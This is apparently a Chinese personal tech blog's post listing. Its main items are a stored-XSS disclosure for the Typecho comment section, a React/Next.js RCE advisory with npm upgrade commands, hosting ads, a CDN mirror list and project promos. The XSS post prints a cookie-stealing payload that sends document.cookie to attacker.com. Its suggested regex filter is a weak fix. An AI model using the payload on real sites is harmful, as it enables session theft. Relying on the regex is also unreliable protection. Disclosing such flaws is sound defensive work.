小枫网络

Typecho 1.21 评论区 XSS 漏洞发现与安全提醒

Wed, 10 Dec 2025 10:28:33 +0800

【漏洞预警】Typecho评论区存在高危存储型XSS漏洞

近期在对Typecho开源博客程序进行定向安全测试时，发现其评论区存在一处高危存储型XSS漏洞，攻击者可利用该漏洞注入恶意脚本，对站点及访客造成安全威胁。现将漏洞细节、影响范围及修复建议整理分享，旨在协助官方完善防护、提醒站长规避风险。

一、漏洞核心信息

漏洞类型：存储型跨站脚本攻击（XSS）
影响范围：Typecho 1.2.1稳定版（实测版本）及未修复该问题的旧版本、衍生版本
触发模块：Typecho默认评论系统（内容提交与前端渲染模块）
漏洞评级：高危（可批量利用，影响面广，无复杂利用条件）
核心成因：评论区对用户输入的HTML链接内容缺乏严格的安全校验与转义处理，允许恶意构造的事件属性代码被存储并执行

二、漏洞发现与验证过程

本次测试基于“开源程序安全合规测试”原则，在本地搭建了孤立的Typecho测试环境（未接入公网，未关联任何真实数据），针对评论区、留言板等用户输入场景进行定向检测：

测试思路：聚焦开源程序常见的输入验证缺陷，重点测试HTML标签、特殊属性的过滤机制；
构造测试 payload：设计包含onfocus「autofocus」等事件属性的链接构造代码
验证过程：在测试环境评论区提交该 payload 后，系统成功存储并在前端渲染时未做任何过滤/转义，浏览评论页面即触发自动跳转，证实漏洞存在；
补充测试：更换不同浏览器（Chrome、Firefox、Edge）及Typecho旧版本（1.1、1.2.0），均能成功触发漏洞，说明该问题并非特定版本或环境的偶发缺陷。

三、漏洞利用场景与危害

1. 对普通访客的危害

强制跳转：浏览包含恶意评论的页面时，被自动导向钓鱼网站、恶意软件下载站点；
信息窃取：攻击者可修改 payload 为" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="">，窃取访客浏览器Cookie、登录凭证等敏感信息；
会话劫持：利用窃取的Cookie登录访客账号（若站点未启用HTTPS或Cookie未设置Secure/HttpOnly属性）；
页面篡改：注入脚本篡改页面展示内容，传播非法信息或诱导访客操作。

2. 对站点所有者的危害

公信力受损：访客遭遇安全问题后，将对站点安全性产生质疑，导致用户流失；
法律风险：若恶意脚本被用于传播违法内容、实施诈骗，站点管理者可能需承担相应连带责任；
服务器风险：大规模恶意评论可能引发前端渲染异常，增加服务器负载，甚至导致站点暂时不可用。

四、应急修复方案

1. 快速配置防护

启用HTML过滤：登录Typecho后台，进入「设置-评论」，勾选“禁止评论中使用HTML标签”，直接阻断HTML类 payload 提交；
关闭匿名评论：仅允许已注册登录用户发表评论，降低恶意提交的概率；
安装安全插件：启用Typecho第三方安全插件（如「SafeGuard」「CommentFilter」），增强输入内容的安全校验。

2. 代码层面修复

修改Typecho评论处理核心文件（路径：var/Widget/Comments/Post.php），在评论内容提交逻辑中增加危险属性过滤：

// 新增过滤规则：移除on*、autofocus等危险属性
$commentContent = preg_replace('/\s+(on\w+|autofocus|javascript:|vbscript:)[\s=]+/i', ' ', $commentContent);
// 对特殊字符进行转义处理
$commentContent = htmlspecialchars($commentContent, ENT_QUOTES | ENT_HTML5);

五、行业倡议

漏洞反馈进展：已通过国家信息安全漏洞共享平台提交漏洞详情，目前处于等待官方响应阶段，将持续配合后续修复验证工作；
行业安全倡议：呼吁所有漏洞发现者遵循“负责任披露”原则，发现漏洞后优先向官方反馈，给予合理修复周期，不随意公开未修复漏洞的完整利用方法；同时提醒开源项目团队重视安全测试，建立完善的漏洞响应机制，共同维护开源生态的安全稳定。

紧急预警！React Server Components 及 Next.js 高危远程代码执行漏洞（CVE-2025-55182/CVE-2025-66478）

Mon, 08 Dec 2025 14:19:12 +0800

紧急预警！React Server Components 及 Next.js 高危远程代码执行漏洞（CVE-2025-55182/CVE-2025-66478）修复指南

近期 React Server Components（RSC）核心架构及使用 App Router 的 Next.js 应用被集中披露高危远程代码执行漏洞（RCE），漏洞编号分别为 CVE-2025-55182 与 CVE-2025-66478。未经身份验证的攻击者可通过特制 HTTP 请求触发漏洞，实现服务器端任意代码执行，进而完全控制目标服务器，对业务数据安全与服务可用性造成致命威胁。目前漏洞细节及 POC 已公开，攻击门槛极低，React、Next.js 开发者需立即开展自查与修复工作。本文将详细拆解漏洞原理、影响范围，并提供分场景的一站式漏洞修复方案，助力快速规避风险。

关键词：CVE-2025-55182、CVE-2025-66478、React Server Components（RSC）、Next.js、远程代码执行漏洞（RCE）、高危漏洞、React 漏洞修复、Next.js 版本升级、前端安全、服务器安全、App Router、npm 依赖升级、安全补丁

一、漏洞核心原理剖析

React Server Components（RSC）是 React 核心团队推出的新型架构，旨在通过混合渲染模式提升应用性能，广泛应用于各类中大型前端项目。此次 CVE-2025-55182 漏洞的根源在于 React 框架对服务器函数端点接收的请求负载进行解码与反序列化处理时，存在关键安全缺陷——攻击者可构造恶意请求数据，利用该缺陷绕过解析校验，在服务器端执行任意代码。

而关联漏洞 CVE-2025-66478 则专门影响使用 App Router 的 Next.js 应用，其本质是 Next.js 对 React Server Components 相关依赖的集成存在安全适配问题，导致同样面临远程代码执行风险。两个漏洞均无需攻击者获取身份验证权限，攻击路径直接且危害极大，一旦被利用可能导致业务数据泄露、服务瘫痪甚至服务器被劫持。

二、漏洞影响范围明细

（一）React 及相关依赖受影响版本

依赖名称	受影响版本范围
React	19.0、19.1.0~19.1.1、19.2.0
React DOM	19.0、19.1.0~19.1.1、19.2.0
react-server-dom-parcel（npm）	19.0、19.1.0~19.1.1、19.2.0
react-server-dom-turbopack（npm）	19.0、19.1.0~19.1.1、19.2.0
react-server-dom-webpack（npm）	19.0、19.1.0~19.1.1、19.2.0

（二）Next.js 受影响版本

14.3.0-canary.77 ≤ Next.js ＜ 15.0.5
15.1.0 ≤ Next.js ＜ 15.1.9
15.2.0 ≤ Next.js ＜ 15.2.6
15.3.0 ≤ Next.js ＜ 15.3.6
15.4.0 ≤ Next.js ＜ 15.4.8
15.5.0 ≤ Next.js ＜ 15.5.7
16.0.0 ≤ Next.js ＜ 16.0.7

图1：漏洞影响框架及版本分布示意图
（建议替换为：包含React、Next.js核心版本分支，用红色标注受影响版本，绿色标注安全版本，突出“RCE漏洞”“安全补丁”核心标识的图片）

三、安全版本清单（优先升级目标）

为彻底修复漏洞，官方已发布针对性安全补丁，各依赖的安全升级目标如下：

React：≥19.0.1、≥19.1.2、≥19.2.1
React DOM：≥19.0.1、≥19.1.2、≥19.2.1
react-server-dom-parcel（npm）：≥19.0.1、≥19.1.2、≥19.2.1
react-server-dom-turbopack（npm）：≥19.0.1、≥19.1.2、≥19.2.1
react-server-dom-webpack（npm）：≥19.0.1、≥19.1.2、≥19.2.1
Next.js：≥15.0.5、≥15.1.9、≥15.2.6、≥15.3.6、≥15.4.8、≥15.5.7、≥16.0.7

四、分场景修复操作指南

（一）Next.js 用户（最核心受影响群体）

1. 稳定版用户：根据当前使用的版本系列，通过 npm 依赖升级 命令直接升级至对应安全版本：

# 15.0.x 系列
npm install next@15.0.5
# 15.1.x 系列
npm install next@15.1.9
# 15.2.x 系列
npm install next@15.2.6
# 15.3.x 系列
npm install next@15.3.6
# 15.4.x 系列
npm install next@15.4.8
# 15.5.x 系列
npm install next@15.5.7
# 16.0.x 系列
npm install next@16.0.7

2. Canary 版用户：若使用 14.3.0-canary.77 及以上测试版本，需降级至 14.x 稳定版：

npm install next@14

3. 验证方式：升级后可通过 npm list next 命令查看当前版本是否符合安全要求。

图2：Next.js 版本升级命令对照表
（建议替换为：表格形式呈现版本系列、npm升级命令、验证方式，标注“前端安全”核心提示的图片）

（二）React 生态其他用户

1. React Router 用户（使用不稳定 RSC API）：

npm install react@latest
npm install react-dom@latest
npm install react-server-dom-parcel@latest
npm install react-server-dom-webpack@latest
npm install @vitejs/plugin-rsc@latest

2. Expo 用户：

npm install react@latest react-dom@latest react-server-dom-webpack@latest

3. Redwood SDK 用户：

npm install rwsdk@latest
npm install react@latest react-dom@latest react-server-dom-webpack@latest

详细迁移指南可参考 Redwood 官方文档：https://docs.rwsdk.com/migrating/

4. Waku 用户：

npm install react@latest react-dom@latest react-server-dom-webpack@latest

5. 独立使用 RSC 插件用户：

# @vitejs/plugin-rsc 用户
npm install @vitejs/plugin-rsc@latest
# react-server-dom-parcel 用户
npm install react@latest react-dom@latest react-server-dom-parcel@latest
# react-server-dom-turbopack 用户
npm install react@latest react-dom@latest react-server-dom-turbopack@latest

（三）通用注意事项

升级前必须做好数据备份：包括项目代码、配置文件、数据库数据等，避免 npm 依赖升级 过程中出现依赖冲突导致业务异常。
升级后需进行功能回归测试：重点验证服务器函数、渲染逻辑等核心模块是否正常工作，确保 漏洞修复 不影响业务可用性。
若暂时无法升级：可临时通过 Web 应用防火墙拦截恶意请求（参考下文腾讯云安全解决方案），但仅为过渡方案，最终需完成版本升级。

图3：漏洞修复全流程示意图
（建议替换为：流程图形式呈现“自查版本→备份数据→npm依赖升级→验证版本→功能测试→漏洞闭环”步骤，突出“前端安全”“服务器安全”核心目标的图片）

五、腾讯云安全防护支持

为进一步降低漏洞攻击风险，腾讯云已推出全方位安全防护方案，覆盖从检测到防护的全链路：

腾讯T-Sec 容器安全：支持容器环境中该漏洞的快速检测，精准识别受影响实例；
腾讯T-Sec 主机安全：实时监测服务器是否存在漏洞暴露风险，提供一键修复建议；
腾讯T-Sec Web应用防火墙：拦截针对漏洞的恶意HTTP请求，阻断攻击路径；
腾讯T-Sec 云防火墙：从网络层防护，限制非法访问，降低漏洞利用概率；
腾讯暴露面管理服务（CTEM）：全面扫描业务暴露面，提前发现未修复的漏洞节点。

六、漏洞参考与延伸阅读

React 官方漏洞通告：https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
React GitHub 安全 advisory：https://github.com/facebook/react/security/advisories/GHSA-fv66-9v8q-g76r
Next.js 官方漏洞通告：https://nextjs.org/blog/CVE-2025-66478
Next.js GitHub 安全 advisory：https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp

总结

此次 React Server Components（RSC） 及 Next.js 高危漏洞危害等级高、影响范围广，且 POC 已公开，攻击者极可能发起批量攻击。建议相关开发者在 24 小时内完成版本自查，按照本文分场景 漏洞修复 指南完成 npm 依赖升级，并结合腾讯云安全产品构建“版本修复+安全防护”双重保障。漏洞修复的核心是升级至官方指定安全版本，切勿依赖临时规避方案。若在修复过程中遇到依赖冲突、功能异常等问题，可参考官方文档或联系技术支持获取帮助，确保业务 前端安全 与 服务器安全 稳定运行。

🔥【站长自用推荐！嘉惟云服务器——性能怪兽+安全堡垒】🔥

Tue, 28 Oct 2025 17:00:50 +0800

兄弟们！这次必须按头安利站长都在用的嘉惟云服务器！咱不玩虚的，直接上硬货！

站长自己搭网站、跑程序全用这货！为啥？因为资源隔离+独立IP直接拉满安全感！每个VPS独立操作系统、CPU、内存、存储全部分开，隔壁老王爆流量都不带卡你的！站长实测：24小时稳定运行无宕机，连高峰时段延迟都稳如老狗，打游戏/做外贸/搞直播全hold住！

性能怪兽！速度直接起飞

搭载Intel/AMD高端CPU+NVMe SSD，秒级响应不吹牛！香港/美国/新加坡BGP多线接入，全球访问低延迟，尤其适合外贸、跨境电商、游戏代理！台湾VPS用户反馈：Hinet直连线路，电信/联通/移动三网稳定，日常网页加载、视频流播放流畅到飞起！

安全防护！黑客看了直摇头

DDoS攻击？宁波高防机器直接防到怀疑人生！数据加密+私有网络隔离，连政府数字化项目都在用！ISO 27001信息安全认证+ISO 9001质量管理体系双认证，数据安全合规性直接拉满！站长亲测：SSL证书部署秒通过，再不怕支付平台数据泄露！

价格真香！灵活到哭~~~

价格直接打骨折！基础套餐月付低至15R/月呢，配置从1核2G到8核32G随便挑，按需付费不心疼！关键是不限流量套餐随便用，两三个人同时在线都不带怕的！站长血泪经验：选年付套餐还能折上折，比某宝还便宜！

💬 真实用户评价

“用了三年没掉过链！”—— 站长

“台湾VPS延迟比我家宽带还稳！”——游戏党

“客服24小时在线，故障秒解决！”——外贸老板

现在冲还有新人首单优惠！官网戳👉 www.vpsf.net

🔥【HKGserver服务器】冲就完事了！兄弟们看过来！🔥

Tue, 28 Oct 2025 16:19:16 +0800

咱就是说，HKGserver家的服务器它不香吗？！嘎嘎的优质云服务

CPU、内存、存储随便挑，要多大有多大！Intel/AMD高端处理器+NVMe SSD，速度直接起飞，游戏直播、跨境电商、开发测试全hold住！全球节点遍地开花，香港、美国、新加坡BGP多线接入，延迟低到离谱！尤其适合咱搞外贸的兄弟和全球玩家，国际访问快到飞起！安全防护更是顶呱呱👮！DDoS攻击？不存在的！数据加密+私有网络隔离，黑客看了直摇头🙅。政府数字化认证也拿捏了，数据安全稳如老狗！

重点来了啊！这波资质不是虚的——政府认证、国际标准、数据中心认证三连！比那些连资质都不敢晒的小作坊强百倍！韩国首尔LG机房yyds！🇰🇷原生IP解锁流媒体，CN2线路直接二折！优惠码“HKG202509”赶紧记小本本上，循环五折这波血赚！💸

技术哥24小时待命，故障秒解决！🕒计费还灵活，小时付、月付随便选，按需花钱不心疼～

现在不冲更待何时？！👊官网戳: www.hkgserver.com，一键开启全球部署新世界！这波操作绝对不亏，兄弟萌我先冲为敬！🏃♂️💨

PS：商务合作直接戳QQ 80003994，退款政策也良心，24小时内全额退，稳！

知乎服务器崩了, 网页打不开了

Fri, 17 Oct 2025 09:57:07 +0800

【知乎突发服务故障引关注：PC端瘫痪、移动端受限，用户反馈集中爆发】

2025年10月17日上午，国内知名知识分享平台知乎遭遇服务故障事件，引发用户广泛关注。据多名用户反馈及IT之家等多方消息源证实，此次故障呈现明显平台差异：PC端网页完全无法加载，移动端App虽能进入首页但无法正常查看问答详情页面，形成“半瘫痪”状态。

大量用户通过社交媒体反映问题。PC端用户尝试访问知乎官网时，页面持续显示加载失败或空白，部分用户收到“服务不可用”提示；移动端用户则遭遇“首页可浏览但点击具体问答即卡顿”的异常体验，评论区、收藏夹等核心功能均受影响。值得注意的是，此次故障未出现区域性差异，全国多地用户均报告类似问题，显示故障范围较广。

作为日均活跃用户超千万的综合性内容社区，知乎的突发故障迅速引发连锁反应。微博、贴吧等平台相关话题迅速升温，用户纷纷晒出故障截图并调侃“知识分享被迫中断”。有教育类用户表示，正值考研、公考备考高峰期，问答功能失效直接影响学习效率；部分创作者则担忧内容更新与互动数据受损。截至发稿时，知乎官方尚未发布正式声明，仅在App内推送“部分功能临时维护”的简短通知，未透露具体故障原因及修复时间表。

此次事件再次凸显互联网平台服务稳定性的重要性。对于依赖知识获取与内容创作的用户而言，平台的技术可靠性直接关系到信息获取效率与创作收益。知乎作为知识社区标杆，其故障处理速度与透明度将成为用户信任修复的关键。后续需关注官方修复进展及是否推出补偿措施，同时为同类平台提供应急处理参考样本。

jsdelivr npm 国内加速CDN节点

Mon, 24 Feb 2025 16:22:34 +0800

jsdelivr npm 国内加速CDN节点

JSDelivr 介绍

JSDelivr 是由 @Cloudflare 提供的免费开源公共 CDN是用最为广泛的CDN了。

官方提供的节点是：cdn.jsdelivr.net

该节点国内几乎不可用，需要使用可用性高的节点作为替代。

jsDelivr/npm节点

下面节点用于加速 GitHub/npm 项目，可通过更改节点改善项目在国内的可用性。

节点	来源	国内访问速度	优点	缺点
gcore.jsdelivr.net	Gcore	⭐️⭐️⭐️⭐️	可用性高【推荐】	国内速度一般
testingcf.jsdelivr.net	Cloudflare	⭐️⭐️⭐️⭐️	可用性高【推荐】	国内速度一般
quantil.jsdelivr.net	Quantil	⭐️⭐️⭐️⭐️⭐️	国内访问速度快	国内部分线路不太稳定
fastly.jsdelivr.net	Fastly	⭐️⭐️⭐️⭐️⭐️	国内访问速度快	国内部分线路不太稳定
originfastly.jsdelivr.net	Fastly	⭐️⭐️⭐️⭐️⭐️	国内访问速度快	国内部分线路不太稳定
cdn.jsdelivr.net	官方	⭐️⭐️	官方平台	不稳定, 国内偶尔打不开
jsd.cdn.zzko.cn(已失效)	第三方(国内)	⭐️⭐️⭐️⭐️⭐️	国内访问速度超快【未知原因下线】	下线了

使用方法:

GitHub 项目：https://<节点>/gh/<用户>/<仓库>/<文件>
npm 包：https://<节点>/npm/<包名>/<文件>

示例:

官方节点: https://cdn.jsdelivr.net/npm/vue@3.5.13/dist/vue.global.min.js 
更换后的节点: https://gcore.jsdelivr.net/npm/vue@3.5.13/dist/vue.global.min.js

其他公共资源CDN

节点	来源	国内访问速度	优点	缺点
https://cdnjs.com	Cloudflare	⭐️⭐️	资源全面	速度慢
https://cdn.bytedance.com	字节跳动	⭐️⭐️⭐️⭐️⭐️	仅同步cdnjs, 速度快, 节点多【灰产原因已下线】	下线了
https://lib.sinaapp.com	新浪云	⭐️⭐️⭐️⭐️⭐️	速度快	资源很少
https://staticfile.org	七牛云	⭐️⭐️⭐️	资源多	据说有被投毒了
https://www.bootcdn.cn	bootcdn	⭐️⭐️⭐️	资源多	据说有被投毒了
https://www.zstatic.net	火山云CDN	⭐️⭐️⭐️⭐️⭐️	仅同步cdnjs, 速度快, 节点多【推荐】	实时更新风险
https://mirrors.sustech.edu.cn	南方科技大学镜像站	⭐️⭐️⭐️⭐️	同步资源多, 速度不赖	可靠性未知

注意: 本文中的所有测试结果均为博主个人测试得出的结论，实际效果可能因网络环境、设备配置或其他因素而有所不同。请根据自身情况谨慎参考。

小枫拟态UI5.0Pro - 个人主页源码

Sat, 11 Jan 2025 23:59:57 +0800

小枫拟态UI5.0Pro

小枫拟态UI5.0Pro是一款由小枫独立开发的拟态风格的个人主页项目。

本项目为希望创建个人网站的用户提供了一个独特的平台，专注于拟态风格的设计，展示个人主页和导航页面。通过简洁直观的用户界面，访问者可以轻松获取您的信息。我们的响应式设计确保在各种设备上都能提供一致的用户体验，无论是电脑、平板还是手机，用户都能流畅地浏览内容并获取所需信息。

演示站: https://nitai5pro.xfabe.com/

后台: https://nitai5pro.xfabe.com/admin/login.html

账号: admin

密码: 123456

主要功能

实时获取访问者的基本信息
支持行为验证
自定义登陆秘钥
昼夜模式切换
自定义代码功能
友联申请
网站访问统计
支持SEO优化
用户数据导出功能
动态内容更新
高度自定义的导航菜单
自适应布局，优化移动端体验
便捷的后台管理系统
支持修改演示站 ...

技术栈

本项目是基于 Node.js、Vue3 和 MySQL 开发的。

联系方式

如果您对我的作品感兴趣，可以通过以下方式与我取得联系：

作者QQ: 1809185784
作者博客: www.xfabe.com
售后群: 155670865

视频教程

注意事项

本项目需要购买授权才能使用。(卡密购买地址: 点击此处)
开发不易，希望大家能够支持正版！🌹

前提条件

拥有一个聪明的大脑🧠
已经在服务器上安装并配置好宝塔面板。
服务器操作系统为 Linux（例如 Debian、Ubuntu、CentOS 9、OpenCloud 9 等）。

安装所需环境

安装宝塔面板, 在宝塔面板首页, 点击“软件商店”。
选择安装软件环境:

Web 服务器: Nginx
数据库MySQL: 5.7+
Node.js: 推荐使用 v20.12.2（作者使用的版本）。当然，v18.18 及以上版本应该都可以正常运行。

安装教程(宝塔面板)

1. 点击node项目

2. 安装node版本推荐使用v20.12.2

3. 配置node命令行版本, 为你当前的版本一定要配置！！！

4. 导入install.sql数据库文件

5. 配置项目源码的config.js文件

注意: 如果后面修改了项目**除public目录文件(多读几遍)的任何代码**都需要重启下node项目，否则代码保存后不生效!!!

6. 添加node项目:

项目目录: 设置本项目的根目录即可
项目名称: 不用配置(会自己获取)
启动选项: 不用配置(会自己获取)
Node版本: 配置推荐给你的node版本就行, 没有的话就使用v16.xx
包管理器: 设置成npm
运行用户: 设置成root
项目端口: 填写config.js的项目端口就行注意不要冲突了
项目备注: 不用配置(会自己获取)
绑定域名: 填写你自己的域名即可(例如: test.xfabe.com)

7. 点击确定等下载安装node包

8. 再点击此处购买卡密

9. 第一次搭建只需要填写 [授权卡密、授权域名、QQ号] 表单内容即可

10. 校验成功后进入后台:

登陆地址: http://你的域名/admin/login.html
账号: admin
密码: 123456

11. 项目搭建完成

注意

如果你配置了 登陆页秘钥 请一定要手动刷新下页面（已修复，无需刷新）获取新的登陆地址, 否则你会很懵逼为什么第二天进不去了。
如果是第二次校验卡密, 二次授权秘钥, 获取秘钥需要通过之前购买的卡密去查询你的你要点击此处获取秘钥

下载地址

gitee 蓝奏云密码:gvqy

鸣谢

项目赞助: 顾陌 QQ 2102919229
服务器提供商: 嘉维云 QQ 511999671

展示图

小枫公益API - 致力于为开发者提供免费、稳定、快速的Web Api服务

Fri, 28 Jun 2024 16:08:48 +0800

小枫公益API

声明：提供的所有API接口仅供学习和娱乐使用。我们尊重并保护所有版权和知识产权，如有任何侵权行为，请通过以下方式与我们联系（博主QQ：1809185784）。

小枫公益API(api.xfabe.com)是一款由博主独立开发的API管理系统，我始终坚持公益初心，致力于为广大开发者提供一个方便、安全、易于使用的API平台，我们相信，在小枫公益API的帮助下，开发者们一定能够在API技术的道路上走得更远！助大家在学习和探索API技术的道路上更进一步。

小枫公益API提供了丰富的API接口，网易音乐解析（仅提供学习使用），QQ信息查询、天气信息查询、随机图片等API。博主为每个API都提供了详细的文档说明，包括接口地址、请求参数、返回结果等信息。开发者可以根据自己的需求选择合适的API进行学习和使用。

本系统采用前后端分离模式开发，UI源文件已经放到文章底部了，喜欢的同学可自行下载！

技术栈：

UI：实用的是Photoshop 2018进行UI页面设计，确保界面美观且用户友好。
前端：使用Vue 3框架，结合TypeScript、axios和Element Plus组件库，打造高效、灵活的前端应用。
后端：基于Node.js和Express框架构建后端服务，确保系统的稳定性和扩展性。

最后感谢嘉维云(www.vpsf.net)对本系统的赞助支持！

下载地址

UI图下载

一款优雅简约的鼠标跟踪特效

Tue, 04 Jun 2024 16:34:24 +0800

一款优雅简约的鼠标跟踪特效

这是一款基于原生JavaScript开发的鼠标跟踪效果，博主对部分代码进行了优化打包压缩后的代码仅有 5kb 大小。最后引入一行代码就能让你的网页呈现出这款优雅的鼠标跟踪效果~

CDN引入【推荐】

<script src="https://player.xfyun.club/js/curzr-arrow-pointer.min.js"></script>

示例代码

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <title>Demo</title>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, minimum-scale=1">
</head>

<body>
    // 代码放到 </body> 上面就行了 
    <script src="https://player.xfyun.club/js/curzr-arrow-pointer.min.js"></script>
</body>

</html>

展示图

下载地址

gitee

超好看的HTML+CSS登录页

Wed, 24 Apr 2024 20:07:42 +0800

超好看的HTML+CSS登录页

给老板做的一个登录单页，老板不是很喜欢我就给开源出来咯~

演示站：https://www.xfabe.com/YYDS/html-login/

展示图

下载地址

gitee 蓝奏云